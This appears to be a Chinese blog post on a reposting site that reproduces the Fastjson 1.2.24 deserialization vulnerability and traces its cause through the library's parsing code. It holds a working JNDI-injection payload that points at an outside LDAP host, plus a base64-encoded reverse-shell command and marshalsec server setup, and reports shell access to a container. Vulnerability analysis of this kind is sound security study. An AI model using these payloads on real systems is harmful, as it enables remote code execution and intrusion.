FastJson1.2.24反序列化原理

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true}

測試執行

DNS解析記錄

利用JNDI工具進行注入

復現流程

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5My4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.193.130"

這里的-A指向的參數是攻擊機的IP地址,即我們的JNDI服務端的IP地址

將上述生代的各協議地址去替換POC中的地址

目標機器開啟監聽

反彈結果如下

成功進入容器

代碼

引入依賴

新建一個惡意類

使用命令 javac Exploit.java生成Exploit.class

對惡意的class文件所在的目錄開啟一個http服務

利用Java反序列化測試包執行如下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999

測試fastjson反序列化

public class TestFastJson {public static void main(String[] args) {String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}" ;//JSONObject.parseObject(payload);JSON.parse(payload);}
}

代碼分析

跟進parseObject方法

進入parse方法

再次進入parse方法

先判空處理

然后進入DefaultJSONParser方法

繼續跟

在DefaultJSONParser方法中:主要是用來判斷是以是什么方式開始,默認是以’{'開始,并且設置token為12

執行完DefaultJSONParser之后,進入parser.parse()

跟進這里的parse方法

這里根據token為12,然后case跳轉至:

進入parseObject方法

這里會通過默認的"{"來獲取到第一個參數也就是@type

到這里的時候就回去判斷key是不是@type,如果是@type就回去進行檢測并且去反序列化類

然后就會到TypeUtils.loadClass

注意在這里會判斷開始是不是以'['開頭

接著會檢查是不是以'L'開頭

接著就會刪除"L" ,然后繼續走loadCLass,會利用類加載器去加載我們指定的類

TypeUtils.loadClass執行結束之后,最后到getDeserializer

然后到deserializer.deserialze反序列化

接著進入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class

跟進parseField

然后這里非常重要的就是有一個smartMatch,這個smartMatch會進行一個通用匹配,可以匹配_開始以及-開始的變量:這個對另外一個調用鏈有用。

進入smartMatch方法之后

可以匹配_開始以及-開始的變量

接著會去調用setValue

從而觸發set方法

為field字段設置值,原理就是利用那個類加載器反射創建的類,進行反序列化獲取字段,在調用setvalue去設置值

鏈路如下:parse觸發--》parseObject--》TypeUtils.loadClass--》deserialze(類)--》parseField(解析字段)--》smartMeth(設置字段值)

各版本通用的POC參考:FastJson各版本通殺POC · 語雀

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/82081.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/82081.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/82081.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于Android的點餐系統_springboot+vue

開發語言:Java框架:springboot AndroidJDK版本:JDK1.8服務器:tomcat7數據庫:mysql 5.7數據庫工具:Navicat12開發軟件:eclipse/myeclipse/ideaMaven包:Maven3.3.9 系統展示 APP登錄…

Maven 項目介紹

一、Maven 概述? Maven 是一個基于 Java 的項目管理和構建自動化工具,由 Apache 軟件基金會開發。它采用 “約定優于配置”(Convention Over Configuration)的原則,通過標準化的項目結構和配置,極大地簡化了項目的構建…

人工智能+:職業技能培訓的元命題與能力重構

當“人工智能”成為各行各業的熱門命題時,我們似乎跳過了一個更根本的思考:人類究竟需要怎樣的AI能力?這個問題不解決,任何技術賦能都可能淪為無本之木。真正的挑戰不在于如何應用AI,而在于如何定義人與AI的能力邊界—…

相同,對稱,平衡,右視圖(二叉樹)

本篇基于b站靈茶山艾府。 100. 相同的樹 給你兩棵二叉樹的根節點 p 和 q ,編寫一個函數來檢驗這兩棵樹是否相同。 如果兩個樹在結構上相同,并且節點具有相同的值,則認為它們是相同的。 示例 1: 輸入:p [1,2,3], q…

MCU開發學習記錄19* - CAN學習與實踐(HAL庫) - 定時傳輸、觸發傳輸和請求傳輸(輪詢與中斷實現) -STM32CubeMX

名詞解釋: CAN:Controller Area Network ISO:?International Organization for Standardization ?OSI:?Open Systems Interconnection SOF:?Start Of Frame EOF:?End Of Frame?? 統一文章結構&…

LEED認證是什么?LEED認證難嗎?LEED認證需要準備的資料

LEED(Leadership in Energy and Environmental Design,能源與環境設計先鋒)是由美國綠色建筑委員會(USGBC)開發的一套全球廣泛認可的綠色建筑認證體系,用于評估建筑在設計、施工、運營和維護中的可持續性表…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一個強大命令行工具,主要用于分析多媒體文件(如視頻、音頻等)的格式和內容信息。它可以提取文件的元數據、編解碼器信息、流詳情、幀信息等,而無需對文件進行轉碼或修改。 基本用法 ffprobe [選項] …

暗黑科技感風格智慧工地監管系統

智慧工地監管系統作為這場變革中的關鍵力量,正逐漸改變著傳統工地的管理模式。今天,就帶大家一同領略一款用Axure精心打造的暗黑科技感風格智慧工地監管系統原型,感受科技與建筑碰撞出的奇妙火花。 這款智慧工地監管系統原型采用了極具魅力的…

【軟件安裝】Windows操作系統中安裝mongodb數據庫和mongo-shell工具

這篇文章,主要介紹Windows操作系統中如何安裝mongodb數據庫和mongo-shell工具。 目錄 一、安裝mongodb數據庫 1.1、下載mongodb安裝包 1.2、添加配置文件 1.3、編寫啟動腳本(可選) 1.4、啟動服務 二、安裝mongo-shell工具 2.1、下載mo…

CSS:margin的塌陷與合并問題

文章目錄 一、margin塌陷問題二、margin合并問題 一、margin塌陷問題 二、margin合并問題

PostgreSQL 數據庫備份與恢復

1 邏輯備份(單庫) postgres#pg_dump --help 使用方法: pg_dump [選項]... [數據庫名字] 一般選項: -f, --fileFILENAME 輸出文件或目錄名 -F, --formatc|d|t|p 輸出文件格式 (c 自定義壓縮格式輸出, d 目錄, tar,p 備份為文本明…

使用 LibreOffice 實現各種文檔格式轉換(支持任何開發語言調用 和 Linux + Windows 環境)[全網首發,保姆級教程,建議收藏]

以下能幫助你可以使用任何開發語言,在任何平臺都能使用 LibreOffice 實現 Word、Excel、PPT 等文檔的自動轉換,目前展示在 ASP.NET Core 中為 PDF的實戰案例,其他的文檔格式轉換邏輯同理。 📦 1. 安裝 LibreOffice 🐧…

AWS stop/start 使實例存儲lost + 注意點

先看一下官方的說明: EC2有一個特性,當執行stop/start操作(注意,這個并不是重啟/reboot,而是先停止/stop,再啟動/start)時,該EC2會遷移到其它的底層硬件上。 對于實例存儲來說,由于實例存儲是由其所在的底層硬件來提供的,此時相當于分配到了一塊全新的空的磁盤。 但是從…

跨域問題詳解

目錄 一、什么是跨域問題? 二、跨域問題出現的原因 三、跨域的解決方案 四、結語 在 Web 開發的世界里,當我們嘗試通過 AJAX 等技術獲取不同源的資源時,常常會遇到 “跨域問題”。這不僅是前端開發者頻繁遭遇的技術障礙,也是保…

VSCode 插件 GitLens 破解方法

文章目錄 1. 安裝指定版本2. 修改插件文件3. 重啟 VSCode 1. 安裝指定版本 在 VSCode 中打開擴展(Ctrl Shift X),搜索 GitLens,右鍵點擊 安裝特定版本,在彈出的窗口中選擇 17.0.2,然后等待安裝完成。 2…

JavaScript的三大核心組成:ECMAScript、DOM與BOM

JavaScript的三大核心組成:ECMAScript、DOM與BOM 在前端開發領域,JavaScript是構建動態網頁和交互式應用的核心語言。然而,許多人對JavaScript的組成缺乏清晰的認識。實際上,JavaScript并非單一的語言規范,而是由三個…

JC/T 2490-2019 石灰基單層裝飾砂漿檢測

石灰基單層裝飾砂漿是指由石灰等無機膠凝材料、級配砂、外加劑或無機顏料制成的具有裝飾功能的干粉飾面材料。 JC/T 2490-2019石灰基單層裝飾砂漿檢測項目: 測試項目 測試方法 外觀 JC/T 2490 干密度 JC/T 2490 凝結時間 JGJ/T 70 抗折強度 GB/T 17671 抗…

用算法實現 用統計的方式實現 用自然語言處理的方法實現 用大模型實現 專利精益化統計分析

我們可以從算法、統計、自然語言處理(NLP)和大型語言模型(LLM)這四個方面,探討如何實現對專利社區、作者重要性以及共同作者貢獻度的分析。 1. 如何體現專利的社區 (社群效應) 🤖 用算法實現 網絡分析算法…

深入淺出IIC協議 - 從總線原理到FPGA實戰開發 -- 第五篇:多主仲裁與錯誤恢復

第五篇:多主仲裁與錯誤恢復 副標題 :從總線沖突到故障自愈——構建高可靠I2C系統的終極指南 1. 多主仲裁機制 1.1 仲裁原理與硬件實現 仲裁流程圖解 : 仲裁失敗處理 : 立即切換為從機模式 監測總線空閑后重試(隨機…

146. LRU Cache

題目描述 146. LRU Cache 哈希表雙向鏈表 詳見代碼和注釋: class LRUCache { private:int capacity_{0};int size_{0};struct Node{int key{0};int val{0};Node* pre{nullptr};Node* next{nullptr};Node(int k,int v,Node* pr,Node* nex):key(k),val(v),pre(pr),…